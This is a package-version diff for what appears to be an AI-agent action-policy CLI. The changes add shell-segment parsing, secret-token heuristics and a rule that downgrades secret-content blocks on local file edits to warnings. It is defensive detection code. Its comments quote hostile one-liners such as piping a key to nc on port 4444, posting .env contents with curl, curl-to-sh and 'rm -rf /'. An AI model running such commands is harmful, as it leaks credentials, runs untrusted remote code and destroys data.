fullcourtdefense-cli 1.31.0 → 1.32.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -18,9 +18,11 @@
18
18
  * they diverge. Change this file? Copy it to the other location verbatim.
19
19
  */
20
20
  Object.defineProperty(exports, "__esModule", { value: true });
21
- exports.DEFAULT_ACTION_POLICY_APPROVAL = exports.MACHINE_KINDS = void 0;
21
+ exports.DEFAULT_ACTION_POLICY_APPROVAL = exports.CONTENT_FACT_FIELDS = exports.WORKSTATION_ASK_APPROVAL = exports.MACHINE_KINDS = void 0;
22
22
  exports.normalizeMachineKind = normalizeMachineKind;
23
23
  exports.policyTargetsMachineKind = policyTargetsMachineKind;
24
+ exports.ruleNeedsContentFact = ruleNeedsContentFact;
25
+ exports.isLocalFileContentAction = isLocalFileContentAction;
24
26
  exports.resolveApprovalOptions = resolveApprovalOptions;
25
27
  exports.effectiveApprovalScope = effectiveApprovalScope;
26
28
  exports.deriveToolOperations = deriveToolOperations;
@@ -40,6 +42,68 @@ function policyTargetsMachineKind(appliesTo, kind) {
40
42
  const kinds = (appliesTo?.machineKinds || []).filter(Boolean);
41
43
  return kinds.length === 0 || kinds.includes(kind);
42
44
  }
45
+ /**
46
+ * The developer Ask a softened block becomes: IDE prompt, asked EVERY time (no
47
+ * session memory — a Block-level rule is exactly where a second, different
48
+ * action must not ride on the first yes), blocks on timeout.
49
+ */
50
+ exports.WORKSTATION_ASK_APPROVAL = {
51
+ scope: 'developer',
52
+ remember: 'none',
53
+ onTimeout: 'block',
54
+ };
55
+ /**
56
+ * LOCAL CONTENT CEILING.
57
+ *
58
+ * Facts about what the arguments CONTAIN. A rule that needs one of these to
59
+ * fire is a rule about content, and content on this machine's own disk is not
60
+ * exfiltration: typing a key into `.env`, pasting a token into a test fixture,
61
+ * reading a config file that holds a password. Secret scanning on file content
62
+ * is inherently approximate (there is no finite list of what a fake key looks
63
+ * like), and the industry treats it as advisory for exactly that reason — a
64
+ * hard stop on EDITING is how a developer loses trust in the product after two
65
+ * wrong blocks. So: a `block` that fires on a content fact for a LOCAL FILE
66
+ * action is recorded as a warning (verdict `log`, `loggedInsteadOfBlocked`),
67
+ * never enforced. The same content leaving the machine — an external
68
+ * destination, a recipient, a shell command that sends it — is untouched by
69
+ * this ceiling and still blocks. A policy marked `enforcement: 'hard'` is also
70
+ * untouched: the admin confirmed it should stop without asking.
71
+ */
72
+ exports.CONTENT_FACT_FIELDS = new Set([
73
+ 'toolArgs.containsSecret',
74
+ 'toolArgs.secretKind',
75
+ 'toolArgs.containsPii',
76
+ ]);
77
+ /** Tool / operation names that mean "a file on this machine": read_file, edit_file, write_file, create_file, append_to_file, str_replace, ... */
78
+ const LOCAL_FILE_ACTION_RE = /(?:^|_)(?:read|write|edit|create|append|save|touch|patch|replace|insert|update)(?:_(?:to|in|into))?_?(?:file|text|lines?|contents?)s?(?:$|_)|^(?:read|write|edit)$|^str_replace$/i;
79
+ /** Does this rule need a content fact to fire? (A rule with no content constraint is about the ACTION, not the content.) */
80
+ function ruleNeedsContentFact(rule) {
81
+ return (rule.constraints || []).some(c => exports.CONTENT_FACT_FIELDS.has(c.field));
82
+ }
83
+ /**
84
+ * Is this call a LOCAL FILE action — content touching this machine's disk with
85
+ * nothing leaving the machine? Requires a file path, no external destination,
86
+ * no recipient, and a file-shaped tool or operation. A shell command is never
87
+ * a local file action here (the command line may send data in ways the URL
88
+ * parser cannot see), so `echo $KEY | nc host 4444` keeps its verdict.
89
+ */
90
+ function isLocalFileContentAction(toolName, operation, context) {
91
+ if (!context.path)
92
+ return false;
93
+ if (context['destination.type'] === 'external')
94
+ return false;
95
+ if (context.to)
96
+ return false;
97
+ if (context.url)
98
+ return false;
99
+ // `edit-file`, `edit.file`, `StrReplace`, `writeFile` all read as snake_case words.
100
+ const normalize = (value) => (value || '').replace(/([a-z0-9])([A-Z])/g, '$1_$2').replace(/[-.\s]/g, '_');
101
+ const op = normalize(operation);
102
+ const tool = normalize(toolName);
103
+ if (toolCapabilities(toolName).has('code_execution'))
104
+ return false;
105
+ return LOCAL_FILE_ACTION_RE.test(op) || LOCAL_FILE_ACTION_RE.test(tool);
106
+ }
43
107
  exports.DEFAULT_ACTION_POLICY_APPROVAL = {
44
108
  scope: 'org',
45
109
  remember: 'none',
@@ -223,6 +287,13 @@ function evaluateConstraint(constraint, context) {
223
287
  actual = normalizePathValue(actual);
224
288
  expected = normalizePathValue(expected);
225
289
  }
290
+ // A pattern constraint on a COMMAND LINE describes command words. Quoted
291
+ // argument values (a commit message, an issue title, a string literal in an
292
+ // inline script) are data and never satisfy `command matches **rm -rf /**`;
293
+ // the inner command of `bash -c "…"` / `ssh host "…"` still does.
294
+ if (COMMAND_LINE_FIELDS.has(constraint.field) && /^(?:not_)?(?:matches|contains)$/.test(constraint.operator)) {
295
+ actual = shellCommandWords(actual);
296
+ }
226
297
  if (IDENTITY_CONSTRAINT_FIELDS.has(constraint.field)) {
227
298
  const actualNorm = normalizeIdentityValue(constraint.field, actual);
228
299
  const expectedNorm = normalizeIdentityValue(constraint.field, expected);
@@ -446,6 +517,13 @@ const OPERATION_MATCH_SKIP_FIELDS = new Set([
446
517
  // is a read; the verb signal for file ops is the OPERATION (read/write/delete).
447
518
  // Paths stay in context for path-based rule CONSTRAINTS, which are unaffected.
448
519
  'path', 'filepath', 'file', 'filename', 'dir', 'directory', 'cwd',
520
+ // URLs and destination facts — WHERE a request goes, not WHAT it does. A GET of
521
+ // `/v1/transfer-limits` is a read; the verb of an HTTP action is its method /
522
+ // inferred operation, and `destination.type = external` stays available to
523
+ // constraints. (Real incident: a curl to a `transfer-limits` endpoint was paused
524
+ // for org approval by a money-movement rule listing TRANSFER.)
525
+ 'url', 'uri', 'href', 'endpoint', 'link', 'destination.domain', 'destination.host', 'destination.type', 'destinationHost',
526
+ 'host', 'hostname', 'to', 'recipient', 'recipients', 'from', 'cc', 'bcc',
449
527
  ]);
450
528
  function buildOperationMatchText(_toolName, context) {
451
529
  const parts = [];
@@ -458,12 +536,81 @@ function buildOperationMatchText(_toolName, context) {
458
536
  // pattern, a description) — never a command word. `git commit -m "delete old
459
537
  // loader"` must not satisfy a DELETE rule; `systemctl restart api` still
460
538
  // satisfies RESTART because the verb is an unquoted command word.
461
- const text = COMMAND_LINE_FIELDS.has(key) ? value.replace(/"(?:[^"\\]|\\.)*"|'[^']*'/g, ' ') : value;
539
+ const text = COMMAND_LINE_FIELDS.has(key) ? shellVerbWords(value) : value;
462
540
  parts.push(`${key} ${text}`);
463
541
  }
464
542
  return parts.join(' ');
465
543
  }
466
544
  const COMMAND_LINE_FIELDS = new Set(['command', 'cmd', 'commandLine', 'script', 'args']);
545
+ /**
546
+ * Tool NAMES that run a command line / code. Tested against the separator-
547
+ * normalized name (`_`, `-`, `.` → space): `shell`, `shell_command`, `run_terminal_cmd`,
548
+ * `execute_command`, `node_repl`, `Bash`, `powershell`. One definition for both the
549
+ * "skip SQL sniffing" and "classify with the shell model" decisions so a tool can
550
+ * never be a code-exec tool for one and not the other.
551
+ */
552
+ const CODE_EXEC_TOOL_NAME_RE = /\b(node ?repl|repl|shell|exec|execute|terminal|command|cmd|run ?code|bash|zsh|sh|powershell|pwsh)\b/i;
553
+ /**
554
+ * The words of a command line that can carry an operation VERB: the program,
555
+ * its bare subcommand words, its flags (a flag is part of what a command DOES:
556
+ * `rsync --delete`, `curl -T`, `redis-cli --rdb`) and dot-commands (`sqlite3
557
+ * .dump`). Operands are nouns and are dropped: file paths, URLs, variables,
558
+ * assignments and flag VALUES — `node fcd-wire-enforcement.js` is not a WIRE,
559
+ * `cd /srv/payments` is not a PAYMENT, `--name=transfer` keeps only `--name`.
560
+ * Hyphenated / snake_case words follow the CLI verb-first convention
561
+ * (`terminate-instances`, `delete-stack`, `remove-item`): only the head segment
562
+ * is a verb candidate, the rest is glued into one noun, so TERMINATE matches
563
+ * `terminate-instances` while WIRE cannot match `fcd-wire-enforcement`.
564
+ * Used ONLY for operation keyword matching; `command matches / contains`
565
+ * constraints keep the full shellCommandWords view (a glob may name anything).
566
+ */
567
+ function shellVerbWords(command) {
568
+ let lead = '';
569
+ return shellCommandWords(command)
570
+ .split(/\s+/)
571
+ .filter(Boolean)
572
+ .map(token => {
573
+ if (token === ';') {
574
+ lead = '';
575
+ return token;
576
+ }
577
+ const flag = /^(-{1,2})([A-Za-z][A-Za-z0-9_-]*)(?:=.*)?$/.exec(token);
578
+ const word = flag ? flag[2] : /^\.?[A-Za-z][A-Za-z0-9_-]*$/.test(token) ? token : '';
579
+ if (!word)
580
+ return '';
581
+ if (!flag && !lead)
582
+ lead = word.toLowerCase();
583
+ if (flag) {
584
+ // Version-control flags name REFS, not data: `git push --delete <branch>`,
585
+ // `git branch -D`, `gh pr merge --delete-branch` remove a branch pointer that
586
+ // the reflog / merged commits still hold — housekeeping the same routine
587
+ // corpus already accepts for `git clean -fd` and `git reset --hard`.
588
+ if (VCS_PROGRAMS.has(lead))
589
+ return '';
590
+ // A COMPOUND flag (`--delete-branch`, `--remove-orphans`, `--delete-excluded`)
591
+ // is the NAME of an option, not a verb + object: glue it into one noun. A
592
+ // bare `--delete` (rsync, aws s3 sync) is still what the command does.
593
+ const segs = word.split(/[-_]+/).filter(Boolean);
594
+ if (segs.length > 1)
595
+ return `${flag[1]}${segs.join('')}`;
596
+ }
597
+ const dot = word.startsWith('.') ? '.' : '';
598
+ // A dot-word is a COMMAND only for programs that have dot-commands (`sqlite3
599
+ // .dump`). Everywhere else `.delete_branch_on_merge` (a jq / JSON field path),
600
+ // `.dump` in `jq .dump`, a dotfile or an extension is an operand — data.
601
+ if (dot && !DOT_COMMAND_PROGRAMS.has(lead))
602
+ return '';
603
+ const [head, ...rest] = word.replace(/^\./, '').split(/[-_]+/).filter(Boolean);
604
+ if (!head)
605
+ return '';
606
+ return `${flag ? flag[1] : dot}${head}${rest.length ? ` ${rest.join('')}` : ''}`;
607
+ })
608
+ .filter(Boolean)
609
+ .join(' ');
610
+ }
611
+ const VCS_PROGRAMS = new Set(['git', 'gh', 'hg', 'svn', 'glab']);
612
+ /** Programs whose `.word` arguments are commands (`.dump`, `.tables`, `.schema`). */
613
+ const DOT_COMMAND_PROGRAMS = new Set(['sqlite3', 'sqlite', 'litecli', 'duckdb']);
467
614
  function stringifyArgs(args) {
468
615
  try {
469
616
  return JSON.stringify(args || {});
@@ -500,13 +647,35 @@ function shannonEntropy(value) {
500
647
  function plausibleTokenBody(body) {
501
648
  if (/(.)\1{4,}/.test(body))
502
649
  return false;
650
+ if (REPEATED_CHUNK_RE.test(body))
651
+ return false;
503
652
  if (/^(?:[A-Za-z]+|[0-9]+)$/.test(body) && /^(?:abc|xyz|0123|1234|test|example|your|fake|dummy|sample)/i.test(body))
504
653
  return false;
654
+ // A random body never spells a dictionary placeholder word anywhere inside it
655
+ // (odds ~ 1 in 36^7 for "EXAMPLE"). Vendors reserve exactly such bodies for
656
+ // documentation: every AWS docs access key ends in EXAMPLE, secret keys in EXAMPLEKEY.
657
+ if (PLACEHOLDER_WORD_RE.test(body))
658
+ return false;
505
659
  return shannonEntropy(body) >= 3.0;
506
660
  }
661
+ const PLACEHOLDER_WORD_RE = /example|sample|placeholder|redacted|dummy|changeme|fake|xxxx/i;
662
+ /**
663
+ * A chunk of >= 3 characters repeated 3+ times back to back (`TestTokenTestToken
664
+ * TestToken…`, `abcabcabc`, `123123123`) is how humans pad a fixture to the
665
+ * right length; a random body repeats a 3-char chunk twice in a row with odds
666
+ * ~ 1 in 62^6 per position. Structural — no vocabulary.
667
+ */
668
+ const REPEATED_CHUNK_RE = /(.{3,})\1{2,}/;
507
669
  function isHighEntropySecretToken(token) {
508
670
  if (token.length < 24 || token.length > 512)
509
671
  return false;
672
+ // `NAME=value` / `--flag=value` is an assignment expression, not a value: the
673
+ // identifier and the `=` add character classes and entropy that belong to the
674
+ // syntax. Judge the right-hand side alone (`GITHUB_TOKEN=process.env.API_KEY`
675
+ // is a reference; `GITHUB_TOKEN=<40 random chars>` is still a secret).
676
+ const assignment = /^-{0,2}[A-Za-z_][\w.-]*=(.+)$/.exec(token);
677
+ if (assignment)
678
+ return isHighEntropySecretToken(assignment[1]);
510
679
  // Any URI (postgres://, redis://, amqp://, https://…) is configuration; only
511
680
  // the password inside its userinfo can be a secret — judged as a value.
512
681
  if (/^[a-z][a-z0-9+.-]*:\/\//i.test(token))
@@ -567,6 +736,14 @@ function looksLikeSecretValue(raw) {
567
736
  return false;
568
737
  if (SECRET_CODE_EXPR_RE.test(value))
569
738
  return false;
739
+ // A regex literal (`TOKEN_RE = /[A-Za-z0-9]{16,}/g`) or a value carrying code
740
+ // structure — brackets open a character class, a group, a block, an index —
741
+ // is source, not a credential: no token format contains `[`, `(` or `{`.
742
+ if (/^\/(?:[\[(^\\.]|.*\/[gimsuy]*$)/.test(value) || /[\[({]/.test(value))
743
+ return false;
744
+ // Character-class ranges (`A-Za-z0-9._-`) are a regex alphabet being declared, not a value.
745
+ if (/(?:A-Z|a-z|0-9)/.test(value))
746
+ return false;
570
747
  // A URL, path or hostname as a "password" value is configuration, not a credential value.
571
748
  if (/^(?:https?:\/\/|[a-z]:\\|\.{0,2}\/|~\/)/i.test(value))
572
749
  return false;
@@ -583,6 +760,10 @@ function looksLikeSecretValue(raw) {
583
760
  // real, change-me, your-token-here), or a "fake/test/example/..." prefix.
584
761
  if (/(.)\1{4,}/.test(value))
585
762
  return false;
763
+ if (REPEATED_CHUNK_RE.test(value))
764
+ return false;
765
+ if (PLACEHOLDER_WORD_RE.test(value))
766
+ return false;
586
767
  if (/^[a-z]+(?:[-_.][a-z]+)+$/i.test(value))
587
768
  return false;
588
769
  if (/^(?:change|replace|your|my|our|example|sample|dummy|fake|test|mock|placeholder|not[-_]?real|do[-_]?not[-_]?use|insert|enter|put|paste)[-_]/i.test(value))
@@ -730,9 +911,180 @@ function extractUrl(args, _argsText) {
730
911
  * cannot see — is NOT workspace-scoped and stays a destructive DELETE.
731
912
  * Deterministic: decided from the command's own tokens, never from a guess.
732
913
  */
914
+ /**
915
+ * Split a command line into shell segments (`a && b`, `a; b`, `a || b`, newlines)
916
+ * WITHOUT splitting inside quotes. `node -e "a; b; c"` is ONE segment whose
917
+ * argument is a program; `psql -c "DROP x; DROP y"` is one segment; the `;` in
918
+ * a commit message is punctuation. Backslash escapes inside double quotes are
919
+ * honoured; a single `|` (pipe) is kept inside the segment on purpose so
920
+ * `cat .env | curl -d @- …` and `curl … | sh` are still seen as one action.
921
+ */
922
+ function splitShellSegments(command, alsoOnPipe = false) {
923
+ const out = [];
924
+ let cur = '';
925
+ let quote = null;
926
+ for (let i = 0; i < command.length; i++) {
927
+ const ch = command[i];
928
+ if (quote) {
929
+ cur += ch;
930
+ if (ch === '\\' && quote === '"' && i + 1 < command.length) {
931
+ cur += command[++i];
932
+ continue;
933
+ }
934
+ if (ch === quote)
935
+ quote = null;
936
+ continue;
937
+ }
938
+ // PowerShell here-string `@'…'@` / `@"…"@`: one opaque literal that may hold
939
+ // quotes, newlines and `;` of its own. Tracking its inner quotes by parity
940
+ // would flip the state on every `'` and leak its body as command words.
941
+ if (ch === '@' && (command[i + 1] === "'" || command[i + 1] === '"')) {
942
+ const end = hereStringEnd(command, i);
943
+ if (end > i) {
944
+ cur += command.slice(i, end);
945
+ i = end - 1;
946
+ continue;
947
+ }
948
+ }
949
+ if (ch === '"' || ch === "'") {
950
+ quote = ch;
951
+ cur += ch;
952
+ continue;
953
+ }
954
+ if (ch === '\n' || ch === ';') {
955
+ out.push(cur);
956
+ cur = '';
957
+ continue;
958
+ }
959
+ if (ch === '&' && command[i + 1] === '&') {
960
+ out.push(cur);
961
+ cur = '';
962
+ i++;
963
+ continue;
964
+ }
965
+ if (ch === '|' && command[i + 1] === '|') {
966
+ out.push(cur);
967
+ cur = '';
968
+ i++;
969
+ continue;
970
+ }
971
+ if (alsoOnPipe && ch === '|') {
972
+ out.push(cur);
973
+ cur = '';
974
+ continue;
975
+ }
976
+ cur += ch;
977
+ }
978
+ out.push(cur);
979
+ return out.map(s => s.trim()).filter(Boolean);
980
+ }
981
+ /**
982
+ * End (exclusive) of a PowerShell here-string starting at `start` (`@'` or `@"`).
983
+ * The terminator is the matching quote followed by `@` at the start of a line.
984
+ * Returns -1 when unterminated (then the `@` is an ordinary character).
985
+ */
986
+ function hereStringEnd(command, start) {
987
+ const q = command[start + 1];
988
+ const close = `\n${q}@`;
989
+ const idx = command.indexOf(close, start + 2);
990
+ if (idx < 0)
991
+ return -1;
992
+ return idx + close.length;
993
+ }
994
+ /** Quoted literals in a segment: PowerShell here-strings first (they contain quotes), then "…" and '…'. */
995
+ const QUOTED_LITERAL_RE = /@'[\s\S]*?\r?\n'@|@"[\s\S]*?\r?\n"@|"((?:[^"\\]|\\.)*)"|'([^']*)'/g;
996
+ /** The quoted spans of a segment, unquoted — the argument VALUES a program was handed. */
997
+ function quotedSpans(segment) {
998
+ const spans = [];
999
+ const re = new RegExp(QUOTED_LITERAL_RE.source, 'g');
1000
+ let m;
1001
+ while ((m = re.exec(segment))) {
1002
+ if (m[0].startsWith('@')) {
1003
+ spans.push(m[0].slice(2, m[0].length - 2).replace(/\r?\n$/, ''));
1004
+ continue;
1005
+ }
1006
+ spans.push((m[1] !== undefined ? m[1].replace(/\\(.)/g, '$1') : m[2]) || '');
1007
+ }
1008
+ return spans;
1009
+ }
1010
+ /** The segment with quoted VALUES blanked: what the shell itself sees as command words. */
1011
+ function maskQuotedSpans(segment) {
1012
+ return segment.replace(new RegExp(QUOTED_LITERAL_RE.source, 'g'), '""');
1013
+ }
1014
+ /**
1015
+ * Programs that EXECUTE the command line they are handed as an argument: the
1016
+ * quoted argument is a command, not data, and is classified as one.
1017
+ */
1018
+ const SHELL_EXECUTOR_LEADS = new Set(['bash', 'sh', 'zsh', 'dash', 'ksh', 'fish', 'cmd', 'powershell', 'pwsh', 'eval', 'xargs', 'ssh', 'su', 'timeout', 'watch', 'script',
1019
+ // PowerShell: these EXECUTE their string argument (a here-string included).
1020
+ 'invoke-expression', 'iex', 'invoke-command', 'icm', 'start-process', 'saps']);
1021
+ /** Language interpreters: their `-e` / `-c` argument is CODE in another language. */
1022
+ const SHELL_INTERPRETER_LEADS = new Set(['node', 'nodejs', 'deno', 'bun', 'python', 'python3', 'python2', 'py', 'perl', 'ruby', 'php', 'lua', 'Rscript', 'julia', 'tsx', 'ts-node']);
1023
+ /**
1024
+ * A code snippet that reaches for a process-spawning API executes whatever
1025
+ * string it passes there. Anything else it says (`console.log('rm -rf /')`, a
1026
+ * doc string, a regex) is data. Structural: API names, not vocabulary.
1027
+ */
1028
+ const CODE_SPAWNS_PROCESS_RE = /\b(?:child_process|execSync|execFileSync|spawnSync|spawn|execFile|exec|fork|os\.system|os\.popen|os\.exec[lvpe]*|subprocess|Popen|system|passthru|shell_exec|proc_open|popen|Process\.Start|Deno\.run|Deno\.Command|Bun\.spawn)\b/;
1029
+ /** Perl / Ruby run a shell through backticks and `%x{}`; in JavaScript a backtick is a template literal. */
1030
+ const BACKTICK_SHELL_LEADS = new Set(['perl', 'ruby']);
1031
+ function codeSpawnsProcess(code, lead) {
1032
+ if (CODE_SPAWNS_PROCESS_RE.test(code))
1033
+ return true;
1034
+ return BACKTICK_SHELL_LEADS.has(lead) && /`[^`]*`|%x[\[{(]/.test(code);
1035
+ }
1036
+ /**
1037
+ * The command lines an interpreter's code hands to the shell: each string
1038
+ * literal on its own AND all literals in order — `subprocess.run(['terraform',
1039
+ * 'destroy', '-auto-approve'])` is one command split across an argv list.
1040
+ */
1041
+ function codeCommandLiterals(code, lead) {
1042
+ const literals = quotedSpans(code).concat(BACKTICK_SHELL_LEADS.has(lead) ? (code.match(/`([^`]*)`/g)?.map(s => s.slice(1, -1)) || []) : []);
1043
+ const sequence = literals.join(' ').trim();
1044
+ return sequence && literals.length > 1 ? [...literals, sequence] : literals;
1045
+ }
1046
+ /**
1047
+ * The text of a command line that the SHELL actually treats as command words:
1048
+ * quoted argument values blanked, plus — recursively — the inner command of a
1049
+ * shell executor (`bash -c "…"`, `ssh host "…"`), the statement handed to a SQL
1050
+ * client, and the strings an interpreter's code passes to a process-spawning
1051
+ * API. This is the single view used for glob operation matching and for
1052
+ * `command matches / contains` constraints, so "wrote ABOUT a command" and
1053
+ * "ran it" are told apart the same way everywhere.
1054
+ */
1055
+ function shellCommandWords(command, depth = 0) {
1056
+ const parts = [];
1057
+ for (const segment of splitShellSegments(command)) {
1058
+ const lead = shellSegmentLead(segment);
1059
+ const lower = segment.toLowerCase();
1060
+ if (SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(lower)) {
1061
+ // The quoted STATEMENT executes — but a SQL string literal inside it
1062
+ // (`where note like '%drop table%'`) is data, exactly like a shell argument.
1063
+ parts.push(maskQuotedSpans(segment));
1064
+ for (const statement of quotedSpans(segment))
1065
+ parts.push(maskQuotedSpans(statement));
1066
+ continue;
1067
+ }
1068
+ parts.push(maskQuotedSpans(segment));
1069
+ if (depth >= 3)
1070
+ continue;
1071
+ if (SHELL_EXECUTOR_LEADS.has(lead)) {
1072
+ for (const inner of quotedSpans(segment))
1073
+ parts.push(shellCommandWords(inner, depth + 1));
1074
+ }
1075
+ else if (SHELL_INTERPRETER_LEADS.has(lead)) {
1076
+ const code = quotedSpans(segment).join('\n');
1077
+ if (code && codeSpawnsProcess(code, lead)) {
1078
+ for (const literal of codeCommandLiterals(code, lead))
1079
+ parts.push(shellCommandWords(literal, depth + 1));
1080
+ }
1081
+ }
1082
+ }
1083
+ return parts.join(' ; ');
1084
+ }
733
1085
  function isWorkspaceScopedRemoval(command) {
734
1086
  // Only the removal segment: `npm run build && rm -rf dist` → `rm -rf dist`.
735
- const segments = command.split(/\s*(?:&&|\|\||;|\|)\s*/);
1087
+ const segments = splitShellSegments(command, true);
736
1088
  const removal = segments.find(seg => /\b(rm|del|remove-item|rmdir)\b/i.test(seg)) || command;
737
1089
  const tokens = removal.trim().split(/\s+/).slice(1);
738
1090
  const targets = tokens.filter(t => !/^-/.test(t) && !/^\/[fqs]$/i.test(t) && !/^-(?:recurse|force|literalpath|path|erroraction)$/i.test(t));
@@ -793,26 +1145,61 @@ function shellSegmentLead(segment) {
793
1145
  const lead = (tokens[i] || '').toLowerCase().replace(/^["']|["']$/g, '');
794
1146
  return lead.replace(/^.*[\\/]/, '').replace(/\.(exe|cmd|bat|ps1)$/i, '');
795
1147
  }
796
- function classifyShellSegment(segment) {
797
- const value = segment.trim().toLowerCase();
798
- if (!value)
1148
+ const worstShellOp = (ops, floor = 'read') => ops.reduce((w, op) => ((SHELL_OP_RANK[op] || 0) > (SHELL_OP_RANK[w] || 0) ? op : w), floor);
1149
+ function classifyShellSegment(segment, depth = 0) {
1150
+ const raw = segment.trim();
1151
+ if (!raw)
799
1152
  return 'read';
800
1153
  const lead = shellSegmentLead(segment);
801
1154
  // Shell navigation / session builtins do nothing to the machine on their own.
802
1155
  if (SHELL_NEUTRAL_BUILTINS.has(lead) || /^\$env:[\w]+$/.test(lead) || /^\$\w+$/.test(lead))
803
1156
  return 'read';
804
- // Piping into an interpreter executes whatever came before — unknown code.
805
- const pipesIntoInterpreter = /\|\s*(?:sudo\s+)?(?:ba|z|da|k)?sh\b|\|\s*(?:pwsh|powershell|python3?|node|perl|ruby)\b/.test(value);
806
1157
  // A SQL client executes the statement it is given (`psql -c "DROP TABLE x"`,
807
1158
  // `mysql -e …`, `echo "TRUNCATE …" | psql`). The exact SQL verb is the
808
1159
  // operation, so DROP / TRUNCATE / DELETE / SELECT rules stay precise.
809
- const sqlClient = SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(value);
1160
+ const rawLower = raw.toLowerCase();
1161
+ const sqlClient = SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(rawLower);
810
1162
  if (sqlClient) {
811
1163
  const verb = segment.match(/(?<!-)\b(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE|GRANT|REVOKE|SHOW|DESCRIBE|EXPLAIN)\b(?!-)/i);
812
1164
  if (verb)
813
1165
  return verb[1].toUpperCase();
814
1166
  return 'SHELL';
815
1167
  }
1168
+ // A shell executor runs its quoted argument AS A COMMAND LINE: `bash -c "rm -rf /"`,
1169
+ // `ssh prod "kubectl delete ns x"`, `cmd /c "…"`. Classify the inner command.
1170
+ if (SHELL_EXECUTOR_LEADS.has(lead) && depth < 3) {
1171
+ const inner = quotedSpans(raw).map(cmd => classifyShellCommandOperation(cmd, depth + 1));
1172
+ const outer = classifyShellWords(maskQuotedSpans(raw), raw, lead);
1173
+ return worstShellOp([...inner, outer], 'SHELL');
1174
+ }
1175
+ // A language interpreter runs CODE. The code executes a shell only through a
1176
+ // process-spawning API; then the strings it passes are command lines. Otherwise
1177
+ // every word in it — a log line, a doc comment, a regex — is data.
1178
+ if (SHELL_INTERPRETER_LEADS.has(lead) && depth < 3) {
1179
+ const code = quotedSpans(raw).join('\n');
1180
+ if (code && codeSpawnsProcess(code, lead)) {
1181
+ const inner = codeCommandLiterals(code, lead).map(cmd => classifyShellCommandOperation(cmd, depth + 1));
1182
+ return worstShellOp(inner, 'SHELL');
1183
+ }
1184
+ return worstShellOp([classifyShellWords(maskQuotedSpans(raw), raw, lead)], 'SHELL');
1185
+ }
1186
+ // Every other program: its quoted arguments are VALUES (a commit message, a
1187
+ // grep pattern, a description, a JSON body). Only the unquoted command words
1188
+ // decide what the line does. Targets for scope decisions come from the raw line.
1189
+ return classifyShellWords(maskQuotedSpans(raw), raw, lead);
1190
+ }
1191
+ /**
1192
+ * Classify a segment from its COMMAND WORDS (`value` — quoted values blanked).
1193
+ * `raw` is the unmasked segment, used only where an operand VALUE matters
1194
+ * (removal targets for destructive scope, transfer operands, redirect targets).
1195
+ */
1196
+ function classifyShellWords(masked, raw, lead) {
1197
+ const value = masked.trim().toLowerCase();
1198
+ if (!value)
1199
+ return 'read';
1200
+ // Piping into an interpreter executes whatever came before — unknown code.
1201
+ const pipesIntoInterpreter = /\|\s*(?:sudo\s+)?(?:ba|z|da|k)?sh\b|\|\s*(?:pwsh|powershell|python3?|node|perl|ruby)\b/.test(value);
1202
+ const segment = raw;
816
1203
  if (/\b(curl|wget|invoke-restmethod|invoke-webrequest|iwr|irm)\b/.test(value)) {
817
1204
  // Before the read programs so `cat .env | curl -d @- https://…` is still an
818
1205
  // egress WRITE. The HTTP method comes from the method flag or a request-body
@@ -854,12 +1241,13 @@ function classifyShellSegment(segment) {
854
1241
  // File transfers: the LAST operand is where the data goes. Remote last = upload
855
1242
  // (egress write); remote first = download (read). `aws s3 cp x s3://b/`,
856
1243
  // `gsutil cp x gs://b/`, `scp x user@host:`, `rsync x host:/path`.
857
- const xfer = value.match(/\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\s+(.+)$/);
858
- if (xfer) {
1244
+ // Operands may be quoted paths — match on the raw line, unquote each token.
1245
+ const xfer = segment.toLowerCase().match(/\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\s+(.+)$/);
1246
+ if (xfer && /\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\b/.test(value)) {
859
1247
  if (/az\s+storage\s+blob\s+upload/.test(value))
860
1248
  return 'write';
861
1249
  // Operands = tokens that are not flags and not the value of a `--flag value` pair.
862
- const tokens = xfer[1].split(/\s+/).filter(Boolean);
1250
+ const tokens = xfer[1].split(/\s+/).filter(Boolean).map(t => t.replace(/^["']|["']$/g, ''));
863
1251
  const operands = [];
864
1252
  for (let i = 0; i < tokens.length; i++) {
865
1253
  if (tokens[i].startsWith('-')) {
@@ -881,17 +1269,11 @@ function classifyShellSegment(segment) {
881
1269
  }
882
1270
  return 'SHELL';
883
1271
  }
884
- function classifyShellCommandOperation(command) {
885
- const segments = command.split(/\s*(?:&&|\|\||;|\r?\n)\s*/).map(s => s.trim()).filter(Boolean);
1272
+ function classifyShellCommandOperation(command, depth = 0) {
1273
+ const segments = splitShellSegments(command);
886
1274
  if (segments.length === 0)
887
1275
  return 'SHELL';
888
- let worst = 'read';
889
- for (const segment of segments) {
890
- const op = classifyShellSegment(segment);
891
- if ((SHELL_OP_RANK[op] || 0) > (SHELL_OP_RANK[worst] || 0))
892
- worst = op;
893
- }
894
- return worst;
1276
+ return worstShellOp(segments.map(segment => classifyShellSegment(segment, depth)), 'read');
895
1277
  }
896
1278
  function isInternalHost(hostname) {
897
1279
  const host = hostname.toLowerCase();
@@ -946,6 +1328,7 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
946
1328
  let worstResult = { allowed: true, verdict: 'allow' };
947
1329
  const matchText = buildOperationMatchText(toolName, context);
948
1330
  const toolCaps = toolCapabilities(toolName || context.toolName || '');
1331
+ const localFileContentAction = isLocalFileContentAction(toolName, operation, context);
949
1332
  // When the call carries no concrete action (the inferred operation fell back to the tool name),
950
1333
